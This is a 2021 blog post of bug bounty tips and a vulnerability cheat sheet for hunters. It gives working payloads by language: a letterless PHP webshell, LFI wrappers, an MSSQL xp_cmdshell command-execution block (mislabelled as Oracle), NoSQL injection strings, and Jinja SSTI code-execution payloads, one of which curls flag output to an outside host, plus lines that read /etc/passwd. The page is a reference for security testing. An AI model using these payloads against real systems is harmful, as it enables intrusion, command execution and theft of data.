Posts Bug—Bounty—Writeup
Post
Cancel

Bug—Bounty—Writeup

Posted Aug 7, 2021 2021-08-07T00:00:00+08:00 by Nasur Ullah

Introduction

My intention is to make a full and complete list of Vulnerability bounty write-up and resources and let Bug Bounty Hunter to use this page as a reference when they want to gain some insight for a particular kind of vulnerability during Bug Hunting, feel free to submit request. Okay, enough for chit-chatting, let’s get started.

Books

Mobile

Cryptography

Penetration Testing

Platforms

Bug-Bounty-Tips

Tip #1

Use GIT as a recon tool. Find the target’s GIT repositories, clone them, and then check the logs for information on the team not necessarily in the source code. Say the target is Reddit and I want to see which developers work on certain projects.

Link

Tip #2

Look for GitLab instances on targets or belonging to the target. When you stumble across the GitLab login panel, navigate to /explore. Misconfigured instances do not require authentication to view the internal projects. Once you get in, use the search function to find passwords, keys, etc. This is a pretty big attack vector and I am finally revealing it today, because I am sure it will help a lot of you get some critical issues.

Tip #3

Bug bounty tip: test applications of a company that costs money or requires manual setup. Chances are only few to none would have tested it leaving it vulnerable.

Tip #4

If you’ve found an IDOR where you’re able to change data of others then don’t jump out of your seat to report it > modify it to XSS payload & if inputs are not sanitized & variables are echo’d without getting escaped then IDOR>XSS>ATO.

Tip #5

Look for hackathon-related assets. What I mean by this is sometimes companies run hackathons and give attendees special access to certain API endpoints and/or temporary credentials. I have found GIT instances that were set up for Hackathons full of information that allowed me to find more issues in the target several times.

Tip #6

Keep all your directory brute force results so when a CVE like Drupalgeddon2 comes out, you can look for previously found instances (cat dirsearch/reports//grep INSTALL.mysql.txtgrep 200less)/

Tip #7

When you have a form, always try to change the request method from POST to GET in order to improve the CVSS score. For example, demonstrating a CSRF can be exploited simply by using [img] tag is better than having to send a link to the victim.

Vulnerabilities

Cross-Site Scripting (XSS)

Brute Force

SQL Injection

Stealing Access Token

Google oauth bypass

CSRF

Remote Code Execution

Deserialization

Image Tragick

Direct Object Reference (IDOR)

XXE

Unrestricted File Upload

Server Side Request Forgery (SSRF)

Race Condition

Business Logic Flaw

Authentication Bypass

HTTP Header Injection

Subdomain Takeover

XSSI

Email Related

Money Stealing

Local File Inclusion

Miscellaneous

Vulnerabilities-types

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

Client side:
    XSS
    CSRF
    session fixation
    open redirects
    header injection
    websockets / localStorage tests
    websockets hijacking
    jsonp leaks
    OAuth token theft
    path-relative stylesheet import
    same origin method execution
    http response splitting/smuggling
    names and email addresses appearing in HTML comments
    reverse tabnabbing
    referer token leakage

Server side:
    Injections:
        + sql / nosql
        + cmd
        + expression language (https://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf)
        + template injection
        + Server Side Include (.shtml)
        + server side javascript execution
        + ldap
        + CSS
            + extract attributes with input[value^=""]
            + extract whatever with fonts (https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
        + mail header
        + xpath
        + log injection
        + OGNL

    SSRF
    XXE
    misconfig:
        + cors
        + host header manipulation
            + host header poisoning (https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)
        + TRACE enabled
        + clickjacking
        + session timeouts
        + login throttling (anti-bruteforce)
        + _method=PUT etc checks (csrf bypass...)
        + cross-domain policy 
        + cookie scope
        + sensitive data in url
        + directory listings
        + caching of sensitive data
        + backdoor cookies/parameters
        + SMTP not checking server identity
        + methods not checked/restricted (GET, PUT etc)

    path traversal
    local/remote file inclusion
    file upload
    auth bypass
        + pass reset: the same token for all users (in given second)
    parameter pollution
    race conditions
    user enumeration
    mass assignments / autobinding / Object injection
    regex bypass/eval/dos ([a-zA-Z]+)*, (a+)+ or (a|a?)+ etc)
    search indexing of credentials (private data cached by google etc)

    memory leaks:
        - https://github.com/neex/gifoeb
        
    subdomain takeover:
        -unused subdomains and aliases (CNAME)
        -CNAME pointing to unregistered domain
        -trailing dots (bypassess in cloud providers)

    password bruteforce
        - https://hackerone.com/reports/127844

    httpoxy (mostly php 7.0.8)
    path equivalence vulnerability
    image tragic
    insecure direct object reference
    session puzzling
    smtp header injection
    deserialization
    rounding errors / integer overflows
    cache-deception
    table truncation
    hidden files (.git, .DS_Store)
    broken logout functions
    format string (%s, %d, {0:x})
    bad hexadecimal concatenation (when two different hashes are converted to the same value)
    null byte injection
    pdf export injection (https://securityonline.info/export-injection-new-server-side-vulnerability/)
    csv injection
    side-channel leaks with f.e. Chrome Auditor or Windows Defender (https://github.com/icchy/wctf2019-gtf)
    old (open)ssl
    utf8 normalization/Case Mapping Collisions (utf.toLower() == some_ascii) (https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/)

Languages

PHP

  • file extensions (most servers parse them as php)
    • .pht
    • .phtml
    • php3
    • php4
  • non-common php tags
    • <script language="php"></script>
    • <% %>
    • <?=
  • shell without letters/numbers
    1
2

      <?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
  # <?=$_GET[_]($_GET[__]);
  • parse_url function
  • readfile + windows -> filenames blacklist bypass via 8.3 filenames
  • preg_match -> bypass via pcre.backtrack_limit
    • create text that will force recursion in vulnerable regex
    • it will fail with warning possibly bypassing protections like
      1
2
3

        if(preg_match("", $_POST['input']) == 0) {
      // process user input...
  }
  • type juggling / weak comparison operator
  • base_dir bypass:

    • SplFileObject

      $file = new SplFileObject("/var/www/html/blabla/test.php", "w"); $file->fwrite('shell');

    • pcntl_exec

      pcntl_exec("/bin/bash", "&pkill -9 bash >out");echo file_get_contents("out");

    • linkinfo, realpath <= 5.3.6
    • symlinks
    • mail() + logs
    • chdir(base_dir,…)
      1

        ini_set('open_basedir','..');chdir('..');chdir('..');ini_set('open_basedir','/');
  • disable_functions bypass
  • disallow file write access bypass
  • code evaluation
  • assert is eval
  • extract is evil
    • &q=fake&sql=fake&query=fake&db=fake&host=fake

  • file_exists etc may be

  • object instantation
    1
2

      $model = $_GET['model'];
  $object = new $model();
  • unlink with wrong folder don’t work? (https://rdot.org/forum/showthread.php?t=3102)
  • image resize bypass
  • basic auth with vulnerable <limit> bypass
  • LFI/RFI wrappers
    • input
    • data data://text/plain;base64,command | data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
    • filter php://filter/convert.base64-encode/resource=index.php
    • file
    • zip zip://zipfile#php_file.php
    • phar
    • expect
    • glob
    • iconv
    • crypto
    • gopher
    • fd
    • telnet
    • ftp
    • tftp
    • nntp
    • jar
    • scp
    • ssh
    • ssh2
    • ldap
    • dict
    • ogg
  • LFI to RCE
    • Using file upload forms/functions
    • Wrappers
    • Files
      • /proc/self/environ
      • /proc/self/fd
    • Log files with controllable input:
      • /var/log/apache2/access.log
      • /var/log/apache2/error.log
      • /var/log/vsftpd.log
      • /var/log/sshd.log
      • /var/log/mail
      • /var/lib/nginx/cache
    • PHPInfo script
    • php sessions
    • Endings:
      • null byte
      • truncation
    • tmp files with self inclusion
  • common files
    • phpunit.xml.dst (in LAMP)
  • webshell using POST files <? `. /*/*J;` // will execute when there is /tmp/*J file with your POST data
  • Inject SESSION data curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'

Java

  • /jmx-console
  • /web-console/Invoker
  • /invoker/JMXInvokerServlet and /invoker/EJBInvokerServlet
  • Java Naming and Directory Service at ports 1098, 1099
  • RMI at port 4444, 1099
  • directly accessible jsp files (vs struts actions)
  • struts
    • dmi: ?method:somePublicMethodToCall=1, /action!method.do?username=value
    • extensions: .action, .do, .go
    • actions with user controlled input, like:
      1
2
3
4
5
6

        <action name="someAction" class="com.SomeAction" method="DoSomething">
      <result name="typeResult" type="dispatcher">
          <param name="location">/resources/${theType}.jsp</param>
      </result>
  </action>
  Now read files with ?method:getAnyString&anyString=typeResult&theType=../WEB-INF/web.xml?
    • getText(user_input) -> ognl injection
  • spring
    • mass assignment because of (@modelAttribute)[http://agrrrdog.blogspot.com/2017/03/autobinding-vulns-and-spring-mvc.html]
  • injections: %{3*2} ${3*5} ${%{4*5}} ${T(java.lang.Runtime).getRuntime().exec("cmd.exe")}
  • jsessionid in url parameter rewrited to response (html response splitting)
  • regexs to check
    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

      java.lang.ClassLoader.defineClass
  java.net.URLClassLoader
  java.beans.Instrospector.getBeanInfo
  openConnection

  getResource
  java.io.FileInputStream
  java.io.FileOutputStream
  java.io.FileReader
  java.io.FileWriter
  java.io.RandomAccessFile

  System.load
  System.loadLibrary
  exec
  ProcessBuilder
  getRuntime

  ObjectInputStream
  readObject
  readObjectNodData
  readResolve
  readExternal
  XMLDecoder
  xstream.fromXML
  ObjectInputStream.readUnshared
  enableDefaultTyping
  JsonTypeInfo.Id.CLASS
  JsonTypeInfo.Id.MINIMAL_CLASS

  freemarker.template.Template
  javax.script.ScriptEngine.eval
    
  ServletDispatcherResult
  createNativeQuery
  isELIgnored=false
  getELContext
  createValueExpression
  parseExpression
  ognlUtil.getValue
  ScriptEngineManager
  ELAsString

  spring:eval
  SSLContext.getInstance("SSL") -> SSLContext.getInstance("TLS")
  getSession().setAttribute
  • sonar rules
    1
2

      LDAP serialization entities
  Persistent entities with @RequestMapping
  • jsp include injection
    1
2

      <%@include file="" %>
  <jsp:include page=""/>
  • server side redirects
    1
2
3

      request.getRequestDispatcher("./"+user_input+".jsp").include(request, response)  // with user_input == "applicationContext.xml?""
  return new ModelAndView(user_input);
  Return new ActionForward(user_input);

SQL

  • hex encoding
    • union select X’31333337’ -> union select 1337
  • charsets big5, cp932, gb2312, gbk and sjis
  • Hibernate + H2 db: non-breaking-space is not recognized by Hibernate
  • WAF bypass with %0b,%0c,0%a, /**/, like that: sel%0bect
  • oracle db
    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

      # rce
  EXEC master..sp_configure 'show advanced options',1;
  RECONFIGURE WITH OVERRIDE;
  EXEC master..sp_configure 'xp_cmdshell',1;
  RECONFIGURE WITH OVERRIDE;
  EXEC master..sp_configure 'show advanced options',0;
  RECONFIGURE WITH OVERRIDE;
  DECLARE @result TABLE (asd VARCHAR(512));
  declare @cmd nvarchar(1000);
  DECLARE @data VARCHAR(8000);
  set @cmd = \''''+cmd+'''\';
  INSERT INTO @result
       execute xp_cmdshell @cmd;
  SELECT @data = asd FROM @result;
  SELECT 'output: '+@data AS output INTO rce_result;

  # hex encoded payload execute
  DECLARE @S VARCHAR(4000);
  SET @S=CAST(payload_in_hex AS VARCHAR(4000));
  EXEC(@S);
  • bypass comments selet * from x where /*!user='admin'*/ -> or /*+*/
  • unicode in mysql mysqli_set_charset($conn,"utf8"); select 'admin' = 'àdmin'; # will return 1

NOSql

  • arrays:
    • {"$gt": ""}, &input[$ne]=1
  • horizontal auth bruteforce:
    • user[$in][]=admin&user[$in][]=user&pass=abc123 ; {user: {"$in": ["admin", "user"]}}
    • user[$regex]=a&pass=abc123
  • db.run(user input) is like classical sql injection
  • JavaScript code can execute within the database engine inside:
    • $where
    • group
    • map-reduce
  • protection:
    • getting rid of the qs module
  • payloads:
    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

      # mostly from https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt
  (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()
  '0; return true'
  '0; while(true){}'
  true, $where: '1 == 1'
  , $where: '1 == 1'
  $where: '1 == 1'
  ', $where: '1 == 1'
  1, $where: '1 == 1'
  { $ne: 1 }
  ', $or: [ {}, { 'a':'a
  ' } ], $comment:'successful MongoDB injection'
  db.injection.insert({success:1});
  db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
  || 1==1
  ' && this.password.match(/.*/)//+%00
  ' && this.passwordzz.match(/.*/)//+%00
  '%20%26%26%20this.password.match(/.*/)//+%00
  '%20%26%26%20this.passwordzz.match(/.*/)//+%00
  {$gt: ''}
  [$ne]=1
  ';sleep(5000);
  ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);

Python

  • url_parse in python problem with path params (http://example.com?asd;xxx)
  • upload __init__.py file + import
  • app.secret_key in flask -> you know it, you can spoof session cookies
  • flaks SSTI: from_string, render_template_string, templates with non-common extension have disabled auto-escaping
  • flask sqlalchemy injection: sqlalchemy.expression.text, execute
  • flask threading: g and _context_ are tricky
  • flask uses his error pages only for specified addresses, including 127.0.0.1
  • flask rce payloads
    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

        
    
  {% for x in {}.__class__.__base__.__subclasses__() %}{% if hasattr(x,'_module') %}{{x._module.__builtins__['__import__']('os').system("ls")}}{% endif %}{% endfor %}

  {% set loadedClasses = " ".__class__.__mro__[2].__subclasses__() %}
  {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == "catch_warnings".strip() %}
      {% set builtinsReference = loadedClass()._module.__builtins__ %}
      {% set os = builtinsReference["__import__".strip()]("subprocess".strip()) %}
          {{ os.check_output("cat sha4/flag_bilaabluagbiluariglublaireugrpoop".strip(), shell=True) }}
      {% endif %}
  {% endfor %}

  {{config}}
  {{ url_for.globals.current_app.config }}

  {% for key in ''['__class__']['__mro__'][1]['__subclasses__']() %}
      {% if key['__name__'] == "Popen" %}
          {% if key("curl 908337901:8001 -d $(/readflag)", shell=True, stdout=-1)['communicate']()[0] %}
          {% endif %}
      {% endif %}
  {% endfor %}
  • objects comparison: "1">5 -> True
  • format is exploitable: '{your_input}'.format(some_python_object) like '{0.__class__}'.format(object)
  • web cache dirs:
    1
2
3

      /__pycache__/__init__.cpython-35.pyc
  /__pycache__/conf.cpython-35.pyc
  /__pycache__/app.cpython-35.pyc

  • Werkzeug debbuger

  • we can replace ‘\x0a’ with ‘\x0d’, it still will be correct python script (useful when getting code with input())

  • its possible to send urlencoded data as path, i.e. “GET /%41%41%41 HTTP/1.1” == “GET /AAA HTTP/1.1” (at least in flask dev)

  • C preprocessor with Digraphs for blacklist bypass

  • wsgi + ssrf (pycurl) + UWSGI_FILE == rce

  • default args are evaluated only once
    1
2
3
4
5
6
7
8
9

      def foo(a=[]):
      a.append("X")
      return a

  In [1]: foo()                                                             
  Out[1]: ['x']

  In [2]: foo()                                                             
  Out[2]: ['x', 'x']

  • exception handling, except ValueError, IndexError: will catch only ValueError

  • numpy not always clears memory, f.e. np.empty()

Ruby

  • URI(params[:url]).scheme == ‘http’ bypass by creating ‘http’ dir
  • open(params[:url]) -> rce with |ls

Perl

  • params pollution ($x=asd&$x=fre -> array)
  • dicts are expanded with arrays
  • can be broken in many ways: Camel, Camel strikes back

Bash

  • no white spaces: {echo,a,b}; echo$FISa$FISb
  • num bases
    • "obase=16; 11" | bc
    • $((16#111))
  • cmd without letters/numbers
    1
2

      /???/??? ./
  # /bin/cat ./
  • Bash reads scripts (in chunks)[https://thomask.sdf.org/blog/2019/11/09/take-care-editing-bash-scripts.html]. So editing a script when it is running may cause some problems.

node.js

  • create Buffer(x) with x as number will create Buffer with x bytes of uninitialized memory -> memory leak
  • eval, setTimeOut, setInterval, unserialize, exec
  • parameters pollution, params are concatenate with “,”
  • payloads
    1

      require('fs').readFile('/etc/passwd',function(err,data){if(!err){res.end(data.toString())}})
  • check for debug mode: https://app/%2
  • comparison operators: == doesn’t checks types
  • anty-xss: npm install html-entities
  • find vulnerable packages: snyk, node-check, nsp
  • static code analysis: NodeJsScan
  • SQLi with brackets and template filters:
      correct: const result = await req.db.all `SELECT id, title FROM notes WHERE id = ${req.params.noteId}`;
  vuln:    const result = await req.db.run(`SELECT id, title FROM notes WHERE id = ${req.params.noteId}`);
  • utf8 path traversal
      var path = req.query.path;
  if (path.indexOf("..") == -1) {
      get_cos(path, callback);
  }
  // http://example.pl/sandbox/ＮＮ/passwd
  // Ｎ to U+FF2E
  • square brackets with user data are vuln: whatever[user_input] = user_input2
  • best practices

React/Electron

  • XSSes (cheatsheet)

    • ReactDOM.render(payload_here, something)

    • Controll over tag/props/childres
        userInput.tag,
  [userInput.props]
  [...userInput.children]
)
is same as:
    <userInput.tag {...userInput.props}>{userInput.children}</userInput.tag>

    • <script>window.__STATE__ = ${JSON.stringify({ data })}</script>

    • <a href="payload_here"></a> (src, srcdoc, ...)

    • dangerouslySetTheInnerHTML

    • React.useRef - DOM manipulation

GrapQL

ASP NET (dotnet)

bounty
bounty
This post is licensed under CC BY 4.0 by the author.

Contents

Hackthebox—Seal—Writeup

Bug—Bounty—Tools

© 2025 Nasur Ullah. Some rights reserved.

...